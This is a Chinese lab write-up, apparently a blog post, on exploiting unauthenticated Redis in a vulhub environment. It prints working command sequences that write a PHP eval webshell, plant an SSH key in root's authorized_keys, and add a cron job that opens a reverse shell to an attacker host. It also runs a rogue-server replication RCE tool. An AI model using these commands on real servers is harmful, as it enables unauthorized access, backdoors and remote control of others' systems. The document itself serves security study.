Redis漏洞利用探究

Redis漏洞利用探究

Redis(Remote Dictionary Server)是一个开源的、基于内存的高性能键值对存储系统,常被用作数据库、缓存和消息中间件;它以极快的读写速度、丰富的数据结构(如字符串、哈希、列表、集合、有序集合等)、原生支持持久化(RDB/AOF)以及高可用架构(主从复制、哨兵、集群)而著称,广泛应用于缓解数据库压力、实现会话管理、排行榜、分布式锁及实时消息队列等场景,是现代互联网架构中不可或缺的基础设施。

环境搭建

从 vulhub 一键部署即可:

vulhub 部署 Redis 环境

Redis 服务默认起在 6379 端口,实际项目中往往是通过端口扫描发现的:

端口扫描发现 Redis

漏洞利用

Redis未授权访问

影响版本:配置不当的全版本

漏洞原理:配置不当导致未授权访问:

  1. 未设置密码认证
  2. 允许任意 IP 连接
  3. 直接暴露在公网且没有添加防火墙规则等安全策略

未授权访问示意

最简单直接的方法就是用 redis-cli 免密连接:

1
redis-cli -h 靶机IP

免密连接成功

Redis写入Webshell

登进去后可以通过 info 探测版本信息:

info 查看版本信息

然后可以尝试写 shell。在数据库中插入一条 Webshell 数据,将 Webshell 代码作为 value,key 值随意,然后通过修改数据库的默认路径为 /var/www/html 和默认缓冲文件名 shell.php,这样 webshell 就能被服务器解析了:

1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set xxx "\r\n\r\n<?php @eval($_POST[shell]);?>\r\n\r\n"
save

结果发现报错了:

写入报错

回到容器看,发现是权限不够:

权限不足

应该是因为 /var/www/html 给的权限太高了,这是我后面自己在容器部署 nginx 的缘故。在公开靶场中是能写入成功的:

公开靶场写入成功

利用Redis写SSH公钥

原理:在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后通过修改数据库的默认路径为 /root/.ssh,默认缓冲文件为 authorized_keys,把缓冲的数据保存在文件里,这样就可以在服务器端的 /root/.ssh 下生成一个授权的 key。

注意:此方法需要 Redis 以 root 用户身份运行才能生效。

先生成 SSH 密钥对:

1
ssh-keygen -t rsa

生成 SSH 密钥对

处理公钥格式:公钥前后各加两个换行符,防止 Redis 的文件头尾信息干扰公钥解析:

1
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

然后将公钥写入缓存:

1
cat /root/.ssh/key.txt | redis-cli -h <目标IP> -x set xxx

写入公钥到缓存

最后修改备份设置,将备份路径指向 SSH 目录,备份文件名指向认证文件:

1
2
3
4
5
redis-cli -h <目标IP>
# 进入交互模式后执行:
config set dir /root/.ssh
config set dbfilename authorized_keys
save

到这一步由于权限不够就失败了:

权限不足导致失败

最后携带私钥登录:

1
ssh -i /root/.ssh/id_rsa root@<目标IP>

利用Redis写计划任务

原理:在数据库中插入一条数据,将计划任务的内容作为 value,key 值随意,然后通过修改数据库默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,从而成功写入计划任务实现反弹 shell。

注意事项

  • 写计划任务只能在 CentOS 上使用,Ubuntu 无法复现
  • 原因:Redis 写文件后权限为 644,Ubuntu 要求 /var/spool/cron/crontabs/<username> 权限必须为 600 才能执行,而 CentOS 的 /var/spool/cron/<username> 在 644 权限下也能执行
  • 同样需要 root 用户权限
1
2
3
4
5
redis-cli -h ip
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/vps/6666 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

主从复制RCE

优点:主从复制不需要 Redis 用户为 root

核心原理:利用 Redis 4.0 至 5.0.5 版本中主节点可控制从节点加载动态模块(MODULE LOAD)的信任机制缺陷。攻击者搭建恶意 Redis 主节点,诱骗目标从节点(Slave)连接自己,随后指令目标加载预制的恶意 .so 动态链接库,该库注册了可调用系统命令(如 system())的自定义 Redis 命令,从而使攻击者能直接通过 Redis 协议执行任意系统指令并获取服务器权限。

PoC 地址:https://github.com/n0b0dyCN/redis-rogue-server

1
python3 redis-rogue-server.py --rhost 靶机 --lhost 攻击机

主从复制 RCE 成功

参考资料